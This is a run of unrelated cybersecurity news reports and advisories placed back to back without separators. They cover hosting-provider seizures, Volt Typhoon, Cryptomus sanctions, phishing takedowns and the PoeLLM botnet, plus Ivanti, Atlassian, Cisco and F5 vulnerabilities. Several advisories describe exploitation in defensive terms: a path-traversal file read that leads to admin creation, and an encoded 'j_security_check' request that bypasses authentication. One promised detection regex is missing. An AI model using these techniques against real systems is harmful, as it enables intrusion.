Authorities seized the domain of Virtualine, a bulletproof hosting provider that cybercriminals used to commit a large-scale sextortion scheme, ransomware, data theft, malware hosting and money laundering, the Justice Department said Tuesday.
Virtualine facilitated prolific criminal activity, including the distribution of child sexual abuse material (CSAM), the Justice Department said. The Russian-speaking bulletproof hosting provider was among the most active this year in crypto-related crime in particular, researchers said.
The site and its associated infrastructure stands out among the dozens of bulletproof hosting providers currently tracked by TRM Labs. “It was not among the largest by total inflows, but it received the most illicit-attributed value in 2026 to date,” the blockchain and cryptocrime research firm wrote in a blog post.
Virtualine received almost one-fifth of all illicit-attributed inflow among bulletproof hosting providers tracked by TRM this year to date.
A Russian drug marketplace accounted for nearly 44% of the direct payments Virtualine received from customers and attributed counterparties so far this year, according to TRM. A sextortion scheme accounted for nearly 17% of direct payments to Virtualine, followed by a cryptocurrency mixer at almost 13%, ransomware at nearly 5%, cybercrime services at 3% and malware at 2%.
“Virtualine is another example of Russia’s illicit economy at work: darknet markets, ransomware groups, non-compliant exchanges, and brokers all feeding the same ecosystem,” Ari Redbord, global head of policy at TRM Labs, said in a prepared statement.
“Bulletproof hosting is the connective tissue. Seizing a domain matters, but the blockchain record doesn’t disappear with it. It shows who is paying, who is getting paid, and where they go next,” he added.
Virtualine attracted many criminals as customers. Ransomware groups, including Coinbase Cartel, The Gentlemen, INC, DragonForce and Qilin all paid the site’s operators, according to TRM. The bulletproof hosting provider also received payments from the StealC infostealer, the Matanbuchu loader, bot and malware-distribution services and sites linked to CSAM.
The FBI and prosecutors got a court order to seize Virtualine’s primary domain, which was also known as Secury, Massgod, Spamhouse, Lanedo and Omegatech.
Officials said Virtualine continued hosting services for a customer that distributed CSAM and a hack-for-hire service after it received numerous notices from law enforcement in Germany, Canada, Australia, the National Center for Missing and Exploited Children and a victim’s attorney.
TRM underscores that Virtualine was disrupted, but not completely shut down. “A domain seizure disrupts how customers find and access a service,” researchers wrote. “It does not, by itself, establish that the operator has stopped working, or that customers have lost access to all underlying infrastructure.”
Volt Typhoon, a China-government backed hacking group that has infiltrated America’s critical infrastructure networks for years, has consistently built and dismantled ephemeral malicious infrastructure to burrow into hundreds of sensitive systems undetected, Lumen Technologies’ Black Lotus Labs said in a Wednesday report.
The covert access operation that researchers call “Silent Train” isn’t a standalone network, but rather a series of compromised small office home office (SOHO) routers, internet of things (IoT) devices and enterprise infrastructure that Volt Typhoon has rapidly rotated through since late 2023.
The Chinese threat group has used this chain of short-lived compromised infrastructure to exploit additional vulnerabilities, including zero-days, in network edge devices and gain deeper, persistent access into victim networks, researchers said.
“Individual chains are assembled and dismantled every day, with infrastructure continually refreshed,” Michael Horka, principal information security engineer at Black Lotus Labs, told CyberScoop. “Volt Typhoon demonstrated a repeatable capability to rebuild a new chain with different infrastructure in less than two minutes, making the number of nodes at any one moment effectively close to zero.”
Black Lotus Labs has notified hundreds of victims since it first identified Silent Train activity, including telecom providers, government entities, defense contractors, communication services, universities and IT firms. Other victims spanning critical infrastructure include organizations in the water, energy, transportation, maritime, rail, aviation and emergency services sectors.
“The ephemeral nature of the framework means our observations should not be interpreted as a complete census of Volt Typhoon activity,” said Horka, who also was the lead researcher on the report.
The nation-state group’s investment in operational security and preserving access is remarkable, according to Black Lotus Labs.
“We observed infrastructure assembled in under two minutes, sessions averaging roughly four hours, extensive cleanup, compartmentalization and continued development of new access vectors,” Horka said. “That is considerable effort devoted not even to get into their end targets, but purely to making important operations difficult to discover and trace.”
Volt Typhoon relied more heavily on Silent Train after the FBI and Justice Department disrupted the KV Botnet in early 2024, researchers said. Earlier this year, U.S. and global authorities warned about a widespread shift in Chinese hacking groups’ use of covert networks riding on compromised common devices.
The reach of those efforts is extensive and ongoing. Volt Typhoon has exploited and abused more than 27 device classes in Silent Train operations, including edge devices, enterprise management tools, identity and access management systems, networking infrastructure and other technologies.
“The diversity matters, but the discipline matters even more,” Horka said. “Specific device types were consistently reserved for particular positions in the chain. It operated less like a collection of randomly compromised devices and more like an organized inventory of capabilities.”
The threat group has successfully compromised devices and technologies from Fortinet, Cisco, ManageEngine, Ivanti, F5, Check Point, Palo Alto Networks, ServiceNow, TP-Link, Netgear and ArcGIS, researchers said. Black Lotus Labs also observed confirmed zero-day campaigns targeting Versa Director, N-Able N-Central, Cisco Catalyst SD-WAN and VeloCloud Orchestrator.
“The exploitation patterns, victimology, and geographic targeting observed throughout our investigation point to a sustained focus on communications, defense, government, and critical infrastructure environments of enduring strategic value,” Black Lotus Labs researchers wrote in the report. “Through repeated targeting of centralized management platforms and control-plane technologies, Silent Train shows how Volt Typhoon systematically pursues and preserves access to some of the most consequential networks in the United States.”
Silent Train’s ephemerality and operational discipline means it can’t be measured in size. These attributes also make it “fundamentally difficult to disrupt because there isn’t one network to take down,” Horka said.
“What exists today will be completely different tomorrow,” he added. “You can try to remove individual pieces, but removing the actor’s ability to continuously rebuild them is a much harder problem to solve.”
The United Kingdom has issued economic sanctions against Cryptomus, a chameleonic cryptocurrency platform that experts say serves as a major conduit for payments related to ransomware, narcotics, darknet markets, fraud and cybercrime services that are helping Russia circumvent existing financial restrictions.
Heleket’s support agent on Telegram claims, despite all evidence to the contrary, that it is not affiliated with Cryptomus. Image: Richard Sanders.
On October 8, the U.K. issued sanctions (PDF) against Cryptomus — previously known as Certa Payments and Xeltox Enterprises — for processing payments that benefit the Russian government and its financial institutions. The sanctions freeze any Cryptomus assets at U.K. banks, and bar British companies from offering it any business, virtual or otherwise. Also targeted in these sanctions were the virtual payment platforms VexPay, TokenSpot, and the Tsunami Payments service.
As explained in our December 2024 investigation, “How Cryptocurrency Turns to Cash in Russian Banks,” Cryptomus has been a key payment processor for dozens of Russian cryptocurrency exchanges and websites hawking cybercrime services. The company has changed its name several times since emerging in 2022, most recently to “Heleket” last year after Canada levied a record CAD $176 million fine against the platform for anti-money laundering violations.
The blockchain data-crunching firm Chainalysis said the U.K. sanctions target the broader infrastructure supporting Russia’s wartime economy.
“Cryptomus and Heleket have emerged as major payment hubs for illicit activity,” Chainalysis wrote in an October 8 blog post. “Together, these services received more illicit funds across tracked categories than the mixers in our dataset and the number of illicit counterparties surged to more than 900 in a single month in late 2025.”
The Cryptomus support bot on Telegram, responding on Oct. 8 to an inquiry by saying the platform was suddenly unable to process transactions.
In April 2026, the blockchain analysis firm TRM Labsfound Cryptomus had processed more than $7 billion in transactions since its inception in 2022, including transactions associated with child sexual abuse material vendors, terrorist financing networks, and human trafficking operations.
TRM noted that Cryptomus’s transaction volume cratered after the platform instituted new “know your customer” or KYC rules, and that the cryptocurrency platform responded to the Canadian fines by launching Heleket as a parallel service that continued to offer no-KYC payment processing.
Richard Sanders is a blockchain analyst and investigator who spent months mapping out Cryptomus’s payment infrastructure and transacting with its customers. Sanders said the U.K. sanctions on Cryptomus are important because Canada’s fine against the platform was ultimately unenforceable and uncollectible.
“A fine doesn’t stop a cryptocurrency payment processor from processing payments,” Sanders wrote on LinkedIn. “Sanctions kill the operation. The distinction matters.”
As our 2024 investigation noted, Cryptomus shared a Vancouver address with dozens of other foreign currency dealers and money transfer businesses — none of which appeared to be physically located there. Following the CAD $176 million fine for alleged money laundering violations, Cryptomus appealed the penalty, launched Heleket as a parallel service, and kept on processing large volumes of sketchy transactions, Sanders said.
Sanders said the sanctions also are notable because they are the first known instance of a “Five Eyes” country (referring to the Australia, Canada, New Zealand, the U.K. and the U.S.) sanctioning a cryptocurrency operation incorporated in another Five Eyes jurisdiction.
Where do entities like Cryptomus and Heleket derive their authority to offer international financial services? The answer appears to involve fake financial institutions overseen by a phony regulatory body positioned in a country that is not widely recognized as a sovereign nation.
Our 2024 investigation found the sole shareholder of Cryptomus’s parent company Certa Payments was a 25-year-old Ukrainian woman who also headed several other firms, including the WS Management and Advisory Corporation, which bills itself as the regulatory body that exclusively oversees licenses for cryptocurrency, foreign exchange and online gaming businesses incorporated in the disputed region in northwest Africa known as the Western Sahara.
That entity’s website — crasadr.com — says it assists applicants with bank setup and formation, online gaming licenses, and the creation and licensing of foreign exchange brokers. One of Certa Payments’ former sites — certa[.]website — also shared a server with 12 other domains, including rasd-state[.]ws, a website for the Central Reserve Authority of the Western Sahara.
The website crasadr dot com, the official website of the Central Reserve Authority of Western Sahara, which lists the entities awarded licenses for cryptocurrencies, gaming and foreign exchange services.
Microsoft collaborated with Japanese authorities, Health-ISAC and several cybersecurity companies to dismantle an expansive, seemingly disconnected ecosystem of Chinese-language cybercrime tools and services, the company announced Wednesday.
Since the start of the year, a vast collection of customized phishing kits developed and sold by Chinese-speaking threat actors — a cluster Microsoft tracks as Storm-2990 — have delivered more than 1 billion phishing emails and SMS messages to more than 75,000 organizations globally. More than three-quarters of those malicious messages targeted Microsoft customers, the company said.
Cybercriminals purchased the phishing kits, tools and infrastructure from an interconnected network Microsoft and Japanese authorities started investigating in early 2025. The kits were used to target individuals and organizations in healthcare, financial services, logistics and IT predominantly in the United States and Japan.
Microsoft said it and Health-ISAC, working with a federal court order, seized and redirected domains that powered the underlying infrastructure of these cybercrime tools and services known as YAM Store, CoGUI and Iron Man.
The company said it also disabled more than 20,000 accounts connected to YAM Store and continues to disrupt the operation by removing infrastructure hosted on its services and blocking more than 100,000 domains used for impersonation and fraud.
“Most people have opened their messages to find a suspicious alert urgently telling them that a package cannot be delivered, a toll remains unpaid, a bank account needs attention, or a tax bill is overdue. The details may change, but the goal is the same: to get someone to click, share personal information, or pay,” Steven Masada, general counsel and general manager of Microsoft’s Digital Crimes Unit, wrote in a blog post.
“These messages are relentless,” he added. “Delete and block one, and another takes its place. Ignore them, and more will follow. Fall for one, and the floodgates open. What appears to be a simple scam message is often the visible end of a much larger transnational cybercriminal operation.”
The phishing kids included templates impersonating legitimate brands that cybercriminals used to facilitate high-volume campaigns. Researchers said similar infrastructure and overlapping activity suggested the tools shared development origins, code reuse or close collaboration among developers.
Microsoft said cybercriminals used the phishing kits to steal credentials, financial data and abuse the device code authentication process to obtain authentication tokens and access compromised accounts. Researchers said cybercriminals primarily used the tools for financial fraud, typically using stolen payment data to make fraudulent purchases of high-end goods or transactions on legitimate financial platforms.
Resecurity, which aided the investigation, gained access to Iron Man’s infrastructure and found 2,360 phishing templates impersonating banks, retailers, healthcare providers, transportation authorities, police departments and government agencies across 130 countries. Cloudflare, Oracle, Proofpoint and TRM Labs also provided research and investigative support.
“What began with scam activity targeting people and organizations in Japan led investigators to an underground service economy supplying criminals around the world,” Masada wrote.
“YAM Store, CoGUI and Iron Man are only part of that larger criminal network, but disrupting them makes it harder for criminals to obtain the accounts, tools and infrastructure they rely on,” he added. “The scam message is often the only part victims see. The businesses behind it are what make it possible.”
On October 13, 2026, Ivanti published a security advisory for CVE-2026-104935, a high-severity authentication bypass by spoofing (CWE-290) affecting Ivanti Connect Secure (ICS). The vulnerability has a CVSSv3.0 score of 8.6 and allows a remote, unauthenticated attacker to execute arbitrary commands.
Ivanti reports that exploitation in the wild has already occurred prior to disclosure, affecting a limited number of customers. This indicates that exploitation has been occurring as a zero-day vulnerability. The U.S. Cybersecurity and Infrastructure Security Agency (CISA) confirms exploitation in the wild, and added CVE-2026-104935 to its Known Exploited Vulnerabilities (KEV) catalog on the same day as the vendor's public disclosure. The digital forensics firm Volexity has published a detailed blog post describing the threat actor activity, which was detected in early October 2026. Volexity notes that in addition to leveraging CVE-2026-104935 as a zero-day, the threat actor also leveraged an as-yet unpatched privilege escalation vulnerability which Ivanti are planning to patch at a later date.
According to the vendor, a portion of the vulnerability was initially discovered through its product security program and patched in the July 2026 release of 25.1.3.0. Exploitation occurred while Ivanti was working to backport the fix to the remaining supported versions.
Ivanti Connect Secure is a popular enterprise VPN solution and naturally sits on the edge of a corporate environment. The product has a history of being targeted by attackers, with zero-day exploitation of other vulnerabilities occurring back in both 2024 and 2025.
Given the confirmed exploitation, the ability to execute commands without authentication, along with the history of the product, Rapid7 recommends that organizations running affected versions apply the appropriate update on an emergency basis outside of normal patching cycles.
Mitigation guidance
Vendor-supplied updates are available to remediate CVE-2026-104935. Ivanti lists the following affected and resolved versions:
Ivanti Connect Secure affected versions
Resolved versions
25.1.1.1 and prior in the applicable code line
25.1.1.2
25.1.2.2 and prior in the applicable code line
25.1.3.0, 25.1.3.1
22.8R2.4 and prior in the applicable code line
22.8R2.5
Note that the vendor advisory confirms that versions 22.7.x and below are unaffected.
At the time of the advisory, Ivanti states that reliable indicators of compromise are not available, however Volexity have published several here. Rapid7 strongly recommends looking for signs of compromise even after the patch has been applied. Customers who suspect exploitation should follow the vendor's recovery steps.
For the latest mitigation guidance, please refer to the vendor's security advisory.
Rapid7 customers
Exposure Command, Vulnerability Management, and Nexpose
Exposure Command, Vulnerability Management, and Nexpose customers can assess exposure to CVE-2026-104935 with a vulnerability check expected to be available in the October 14 content release.
A joint international law enforcement and industry operation against scammers netted 28 arrests, rescued 117 trafficking victims and led to the takedown of more than 3.7 million accounts, the Justice Department announced Tuesday.
The crackdown, billed as “Joint Disruption Week,” focused on West Africa and also identified more than $11 million in freezable funds and led to the seizure of hundreds of electronic devices. The range of scams involved included law enforcement impersonation scams, digital arrest extortion schemes, pig butchering and other online fraud operations targeting victims around the world.
Participants heralded it as the largest joint scam operation to date, and the first focused on West Africa.
“For so long, the problem of international scams seemed impossible to tackle,” Kelly Milliron, acting chief of staff and counselor to the Assistant Attorney General leading the Criminal Division, told reporters. “But now, because of collaborations like Joint Disruption Week, we have a plan, a consolidated approach, bringing together people that can bring solutions and, most of all, safety for our citizens.”
It’s the latest effort in the Trump administration’s ongoing bid to make countering scam operations a theme of his term, and to make disrupting cyber adversaries and criminals a central focus of its cyber strategy.
Participating agencies in the London-hosted operation beyond the Justice Department were the Scam Center Strike Force under the U.S. Attorney’s Office for the District of Columbia, the FBI, the Secret Service, the Treasury Department, Homeland Security Investigations, the Homeland Security Task Force, the United Kingdom’s National Crime Agency, the Nigerian Joint Case Team on Cybercrimes, the Nigeria Police Force’s National Cybercrime Center and the Ghanaian Cyber Security Authority, INTERPOL and agencies from Australia, Canada, India and New Zealand also were involved.
Adobe, Binance, Coinbase, Cyjax, Elliptic, Chainalysis, Flashpoint, Google, Meta, Microsoft, OpenAI, Silent Push, Starlink and TRM Labs were companies that participated in the operation. Meta said it removed more than 3.7 million accounts, groups and pages from Facebook and Instagram based in West Africa, a majority of which targeted people in the United States and United Kingdom.
Some on Capitol Hill have raised concerns about whether U.S. operations to counter scams are coordinated enough.
The operation actually began in September, with a series of raids in Ghana before last week’s designated action. Jeanine Pirro, U.S. Attorney for the District of Columbia, said Disruption Week occurred not long after a new partnership with the United Kingdom.
“The aim is to bring cases in parallel and also to combat fraud together through joint targeting,” she said. “This was the perfect time to continue that partnership.”
It’s not clear how many of the potentially freezable funds will actually be frozen as a result of the operation.
“Identifying the assets is the easy part, and tracing them, going after and developing probable cause within our investigations so that we can legally seize them does require a little bit of work,” said Matthew Floyd, deputy assistant director of the FBI’s Criminal Investigative Division. “So at this point, that’s why it’s much easier in these efforts to identify assets initially, and then they’ll fold into our investigations as we move forward.”
Disruption Week was the culmination of agencies meeting to combine forces, something that will happen on a regular basis, Floyd said, but at an interval to be determined going forward. The operation led to the sharing of more than 30 leads on scam centers, participants said.
On October 5, 2026, Atlassian published a security advisory for CVE-2026-21589, a critical arbitrary file access vulnerability affecting eight products: Bitbucket Data Center, Confluence Data Center, Jira Service Management Data Center, Jira Software Data Center, Bamboo Data Center, Crowd Data Center, Crucible, and Fisheye. Atlassian assigned the vulnerability a CVSSv4 score of 9.3. An unauthenticated remote attacker who knows a target file's exact name and path can access it within the application's web root; the vulnerability does not provide directory listing or enumeration.
Atlassian's advisory treats all versions before the applicable fixed releases as affected, including unsupported versions. Affected Atlassian Cloud products have already been patched, and no action is required from Cloud customers.
Detailed technical analysis and file-read proof-of-concept scripts are public, so Rapid7 recommends patching on an emergency basis, outside of normal patch cycles, and reviewing access logs for attempted exploitation.
Technical overview
NVD lists files or directories accessible to external parties (CWE-552) as the weakness associated with CVE-2026-21589.
On October 6, watchTowr Labs published a technical analysis based on comparisons of vulnerable and patched Jira, Confluence, and Bitbucket packages. Their analysis identified a path traversal vulnerability in Atlassian's web-resource handling: double-colon (::) sequences can become path separators during request processing, allowing traversal components to reach the resource-loading code, resulting in the contents of arbitrary file being read back to an attacker.
Their testing could not traverse outside the Tomcat context, but could read files throughout the application web root. In an Atlassian Crowd deployment that had Jira configured, reading WEB-INF/classes/crowd.properties exposed application credentials. With network access to Crowd, they used those credentials to create a user and add it to jira-administrators; Crowd's IP allowlisting can block this direct route.
Mitigation guidance
Organizations should upgrade each affected installation to a listed fixed version or the latest available version. Atlassian's October 5 advisory lists the following fixed versions:
Product
Fixed versions
Bitbucket Data Center
9.4.26, 10.2.8, 10.5.1
Confluence Data Center
9.2.26, 10.2.19
Jira Service Management Data Center
5.12.40, 10.3.26, 11.3.12
Jira Software Data Center
9.12.40, 10.3.26, 11.3.12
Bamboo Data Center
10.2.24, 12.1.12
Crowd Data Center
6.3.7, 7.0.3, 7.1.7, 7.2.4
Crucible
4.9.15
Fisheye
4.9.15
Organizations unable to patch immediately should remove affected instances from the internet or otherwise restrict them from external network access. Atlassian provides a Web Application Firewall or proxy rule for all affected products, a Tomcat RewriteValve mitigation for Confluence, Jira Service Management, Jira Software, Bamboo, and Crowd, and a separate urlrewrite.xml rule for Bitbucket. These mitigations are limited and are not replacements for patching.
Rapid7 strongly recommends looking for signs of compromise even after the patch has been applied. Atlassian recommends URL-decoding each access-log request line up to twice, then searching for .. immediately adjacent to /, \, or ::. Alternatively, search raw logs with the vendor-supplied regex:
Public testing artifacts for Jira, Confluence, and Bitbucket include a Python file-read PoC and a Nuclei template. If investigation identifies access to protected configuration files, organizations should rotate exposed credentials and other secrets after containing the affected systems.
For the latest mitigation and investigation guidance, please refer to the vendor security advisory.
Rapid7 customers
Exposure Command, Vulnerability Management, and Nexpose
Exposure Command, Vulnerability Management, and Nexpose customers can assess exposure to CVE-2026-21589 with unauthenticated vulnerability checks on Jira Software Data Center available in the October 8 content release.
Updates
October 7, 2026: Initial publication.
October 8, 2026: Updated Rapid7 Customers section to reflect availability of vulnerability checks.
Malware that takes technical cues from a poem to assemble a growing botnet by targeting open-source AI services has compromised more than 3,400 servers since April, Lumen Technologies’ Black Lotus Labs said in a report Wednesday.
The poem, which a threat actor wrote and posted on a GitHub repository, seems innocuous but it’s driving a stealthy piece of malware researchers call PoeLLM. Four specific words extracted from the poem, which have been changed at least a dozen times, are converted into a command-and-control server address through a hard-coded dictionary embedded in the malware — a framework that bolsters PoeLLM’s resiliency.
“The most interesting piece of the poem approach is that the IP address used for C2 communications is invisible outside of the victim’s netflow. In other malware samples, there might be a hard-coded fallback C2 address, or URL which points to an IP address written elsewhere on the internet,” Ryan English, information security engineer at Black Lotus Labs, told CyberScoop.
“To anyone who comes across it, this is simply a poem on GitHub. It has no links, no files to download, no encrypted text that could easily be flagged as malicious, even by advanced models,” he added. “There would be no reason for any security researcher to identify this poem as malicious — or know about the IP address hidden within it — unless they had access to the malware referencing it.”
Researchers first encountered PoeLLM infrastructure in June during an investigation into a maximum-severity defect affecting Ivanti’s secure mobile gateway product, Sentry. That discovery uncovered a sweeping exploit-scanning and cryptocurrency-mining botnet linked to multiple compromised services and tools, including LiteLLM, Ollama, Gotenberg and Gitea.
While “PoeLLM has been extremely successful in compromising multiple AI-related services at scale,” the threat actor’s achievements beyond exploit scanning and cryptomining remain under investigation, English said.
The malware contains functionality that can allow for remote code execution, potentially allowing a threat actor to abuse AI models on victim servers, along with public-facing services for downstream compromise, he added.
“Through the growth of this botnet, the actor has effectively created a private army of AI-enabled proxies, which will continue to multiply and provide additional vectors for attack, credential theft, token abuse and more,” English said.
The botnet has continued to grow by converting compromised servers into attackers and shifting through C2 infrastructure, leaving fewer traces across the internet.
“If one exploit server gets reported by the security community, the attacker can easily pivot and start proxying attacks through hundreds of other compromised victims,” English said.
The poem serves as a dynamic lookup table for this infrastructure rotation. When the malware retrieves the updated poem from GitHub, it extracts four specific words based on their positions relative to fixed text anchors within the verse. Each extracted word is then matched against a hard-coded dictionary in the malware, where individual words map to sets of IP addresses. The four numbers combine to form the current C2 server address. This means the threat actor can change the entire poem, and thus the C2 location, without updating the malware itself.
“Many of the C2s used in this campaign were never detected on crowd-sourced security tools, indicating that this layer of obfuscation was very helpful in improving the resilience of a C2,” English said.
For instance, the first stanza of the poem, as it was observed last month, reads: “In the silent hum of driver, the machines begin to speak, each pulse of diode threading light through copper veins. We taught the dark to carry meaning, byte by byte — a language built from lightning, cold and clean.”
The malware extracts four specific words from the poem and matches each to a number in a hard-coded dictionary — for example, “driver” equals 92, “diode” equals 119, “decryption” equals 165, and “string” equals 74, combining to form the C2 address. When the threat actor changes the poem’s keywords, the malware automatically calculates a new C2 address without needing to update itself. This keeps the infrastructure invisible to network monitoring tools unless the malware code is directly analyzed.
Black Lotus Labs said the threat actor behind PoeLLM is likely Italian or speaks Italian. Researchers observed multiple comments in the malware code written in Italian and said the threat actor has relied on Italy-based servers for testing and C2 infrastructure.
Researchers said they don’t know how many people are involved in the PoeLLM’s operation, and they haven’t observed any connections to other groups or campaigns.
On September 30, 2026, Cisco published a security advisory for CVE-2026-76504, a critical API authentication bypass vulnerability affecting Cisco Catalyst SD-WAN Manager. The vulnerability has a CVSSv3.1 score of 9.8 and results from improper handling of URL encoding (CWE-177). An unauthenticated, remote attacker can send a crafted HTTP request that bypasses an authentication rule for a specific API endpoint, gaining access to the API with the privileges of the admin user.
According to Cisco, CVE-2026-76504 is being actively exploited in the wild; Cisco PSIRT became aware of the activity in September 2026. Cisco Catalyst SD-WAN Manager systems with ports exposed to the internet are at risk of compromise. The vulnerability affects the product regardless of system configuration, and Cisco has not provided a workaround, however vendor supplied updates are available. Rapid7 strongly recommends that organizations upgrade affected systems to a fixed release on an emergency basis, outside of normal patch cycles, and investigate internet-facing systems for signs of exploitation.
Cisco Catalyst SD-WAN Manager was also affected by two critical, unauthenticated peering authentication flaws earlier in 2026: CVE-2026-20127 and Rapid7-discovered CVE-2026-20182. Both were distinct issues in the vdaemon service and similar parts of its networking stack. CVE-2026-76504 targets a separate API authentication path, but the recurrence of authentication bypasses in internet-facing Catalyst SD-WAN control components reinforces the need for emergency remediation.
Cisco has released software updates that remediate CVE-2026-76504. Organizations running affected instances of Cisco Catalyst SD-WAN Manager should upgrade to an appropriate fixed release listed below without waiting for a regular patch cycle:
Cisco Catalyst SD-WAN Software release
First fixed release
Earlier than 20.9
Migrate to a fixed release
20.9
20.9.10.1
20.12
20.12.8.2
20.15
20.15.6.1
20.18
20.18.4.1
26.1
26.1.2.1
26.2
26.2.1
Cisco has addressed the vulnerability in the cloud-based Cisco SD-WAN Cloud (Cisco Managed) release 20.15.605, and indicates that no customer action is required for that service.
There are no workarounds. As a temporary mitigation, Cisco recommends that on-premises customers prevent access to the system from unsecured networks. If internet access is required, restrict access to known, trusted hosts and protect Cisco Catalyst SD-WAN control components behind a filtering device. Cisco indicates that this mitigation is already deployed in Cisco Catalyst SD-WAN Cloud Hosted environments. Organizations should apply updates even when the mitigation is in place.
Because active exploitation has occurred, Rapid7 strongly recommends that organizations audit affected systems for compromise. For help assessing a potentially compromised system, Cisco customers may open a Severity 3 TAC case with CVE-2026-76504 in the title and provide an admin-tech file generated with the request admin-tech command.
For the latest mitigation guidance and release compatibility information, please refer to the vendor's security advisory.
Rapid7 customers
Exposure Command, Vulnerability Management, and Nexpose
Exposure Command, Vulnerability Management, and Nexpose customers can assess exposure to CVE-2026-76504 with vulnerability checks expected to be available in the October 1 content release.
Indicators of compromise
Cisco recommends reviewing the following logs for requests related to j_security_check from unknown or unauthorized IP addresses:
/var/log/nms/containers/service-proxy/serviceproxy-access.log: Requests with an encoded character in the j_security_check path, such as POST /%6a_security_check HTTP/1.1.
/var/log/nms/vmanage-server.log: Requests to j_security_check associated with usernames beginning with viptela-reserved-.
The %6a value, which URI-encodes the character j, is only an example. According to Cisco, an attacker can exploit the vulnerability by encoding any single character in the request. The vendor cautions that these log entries can also occur during standard operations and should be evaluated against normal network posture to avoid false positives.
Updates
September 30, 2026: Initial publication.
October 1, 2026: Updated to reflect CVE-2026-76504 being added to the CISA KEV list.
On September 22, 2026, F5 published a security advisory for CVE-2026-94127, a critical heap-based buffer overflow vulnerability affecting F5 BIG-IP Access Policy Manager (APM). The vulnerability has a CVSS v3.1 score of 9.8. An unauthenticated attacker with network access to an affected virtual server may be able to achieve remote code execution (RCE) by sending specifically crafted traffic.
BIG-IP APM provides identity-aware access control for applications and other corporate resources and can integrate with authentication technologies including OAuth, OpenID Connect, and SAML. CVE-2026-94127 is not exposed in a default configuration: exploitation requires a BIG-IP virtual server with both an APM access policy and an OAuth profile configured. Because affected BIG-IP systems may process traffic at an organization's network edge, organizations using this configuration should prioritize remediation.
The vulnerability affects the data plane and does not expose the BIG-IP control plane. BIG-IP systems operating in Appliance mode are also affected.
F5 lists the following affected release trains and corresponding fixed hotfixes:
BIG-IP 21.1.0: versions prior to Hotfix-BIGIP-21.1.0.2.0.30.22-ENG
BIG-IP 17.5.0: versions prior to Hotfix-BIGIP-17.5.1.9.0.160.12-ENG
BIG-IP 17.1.0: versions prior to Hotfix-BIGIP-17.1.3.5.0.41.14-ENG
As of September 22, 2026, CVE-2026-94127 has been added to the CISA KEV while a publicly available proof of concept was not confirmed.
Mitigation guidance
Organizations running affected F5 BIG-IP deployments should apply the appropriate F5 hotfix as soon as operationally feasible, particularly where a vulnerable APM and OAuth configuration is reachable from untrusted networks.
F5 lists the following remediation versions:
BIG-IP 21.1.0: update to Hotfix-BIGIP-21.1.0.2.0.30.22-ENG or later.
BIG-IP 17.5.0: update to Hotfix-BIGIP-17.5.1.9.0.160.12-ENG or later.
BIG-IP 17.1.0: update to Hotfix-BIGIP-17.1.3.5.0.41.14-ENG or later.
Administrators should first determine whether a BIG-IP APM access policy and an OAuth profile are configured together on a virtual server, since this configuration is required for exposure.
For organizations that cannot immediately apply the applicable update, F5 provides an iRule workaround through F5 Support. Customers should open a support case with F5 to obtain the vendor-provided workaround and follow F5's implementation guidance.
Rapid7 customers
Exposure Command, Vulnerability Management, and Nexpose
Exposure Command, Vulnerability Management, Nexpose customers can assess exposure to CVE-2026-94127 using vulnerability checks expected to be available in today’s (September 23) content release.
Microsoft, along with a group of industry partners, disrupted EvilTokens, a short-lived but highly consequential cybercrime platform that investigators linked to more than 12,000 compromised Microsoft customer email inboxes across more than 10,000 organizations globally, the company said Tuesday.
Acting on federal court order Sept. 15, Microsoft and partners seized 50 websites the phishing-as-a-service used for operations and disabled more than 175 domains linked to EvilTokens’ supporting infrastructure.
EvilTokens, launched in February 2026, was “a powerful cybercrime platform that used AI at every step of the attack chain — from compromising email accounts to designing intricate roadmaps for financial fraud and scams,” Steven Masada, associate general counsel and general manager of Microsoft’s Digital Crimes Unit, wrote in a blog post.
About 1,000 cybercriminals used EvilTokens over the course of its operation, a Microsoft spokesperson told CyberScoop.
The service was centered on an AI-style chatbot that cybercriminals used to analyze victims’ inboxes, identify trusted relationships, payment authorizations and other sensitive details that could facilitate fraud.
“AI was not simply helping attackers write more convincing messages. It helped them decide who to target, who to impersonate, and how to most effectively exploit the relationship to extract as much money as possible,” Masada wrote.
EvilTokens was one of the most widely used phishing-as-a-service platforms prior to its takedown. It facilitated business-email compromise campaigns by stealing session tokens that allowed cybercriminals to sift through a victim’s inbox and maintain persistent access.
“We cannot estimate the total fraud attributable to all EvilTokens activity. However, we were able to correlate at least 13 complaints filed with the FBI’s Internet Crime Complaint Center to EvilTokens-linked activity, representing approximately $1.7 million in reported losses,” a Microsoft spokesperson said. “Because many incidents go unreported and not all victims can be definitively linked to specific campaigns, we believe this is a conservative estimate.”
Victims of EvilTokens were largely concentrated in the United States, Canada, the United Kingdom, Australia, India and France, according to Microsoft. SpyCloud, which supported the takedown, identified compromised email domains spanning 79 countries.
Microsoft said it also identified two men behind EvilTokens — Felix Utomi and Waidi Segun Adams — and attributes the development and support of the platform to Storm-2992, a threat actor unaffiliated with any other known cybercrime groups.
The United Kingdom’s Metropolitan Police acted on that information Sept. 18 when it served warrants in the greater London area, arrested the men accused of making articles for use in fraud and money laundering and seized their digital devices.
The Metropolitan Police said it received information from Microsoft about EvilTokens’ administrators in August. Utomi and Adams were released on bail as the investigation continues.
“The two primary operators identified in our investigation were residing in the U.K.,” a spokesperson for Microsoft told CyberScoop. “While our investigation focused on those individuals, we believe others may have supported the operation in various capacities.”
Microsoft’s legal filing in the U.S. District Court for the Eastern District of Virginia refers to five additional unidentified people allegedly acting as support personnel and users.
Microsoft and others involved in the EvilTokens takedown, including Health-ISAC, Cloudflare, OpenAI, Shadowserver and TRM Labs, didn’t fully quantify how much fraud the service enabled, but it gained popularity quickly among cybercriminals and was lucrative for its operators.
Coinbase, which also aided the investigation into EvilTokens, said it traced about $1.1 million in revenue for EvilTokens from its paying customers. The virtual currency company’s threat researchers found more than 1,000 deposits to EvilTokens from more than 700 distinct addresses through June 2026.
Operators sold access to the service through Telegram for a $1,500 initiation fee and a recurring $500 subscription. EvilTokens significantly lowered the barrier to entry for cybercriminals by including specialized tools for identity attacks, cloud systems, social engineering and financial fraud in a single interface.
The service allowed cybercriminals to map organizational structure and permissions in Microsoft Graph, which enabled lateral movement, researchers said. With active tokens gained through a collection of highly-targeted phishing lures, cybercriminals consistently bypassed multi-factor authentication, email gateways and endpoint security tools.
Microsoft said the platform’s creators developed portions of the platform with AI and it uncovered capabilities from multiple AI models.
“It packaged much of the criminal process into a commercially run service, complete with subscription pricing, customer support, management dashboards and tools designed to move customers from account access toward financial exploitation,” Masada added.
The companies and organizations involved in the globally-coordinated takedown identified and notified potential victims, shared indicators of compromise and shared intelligence with law enforcement about EvilToken’s operators and some of its customers.
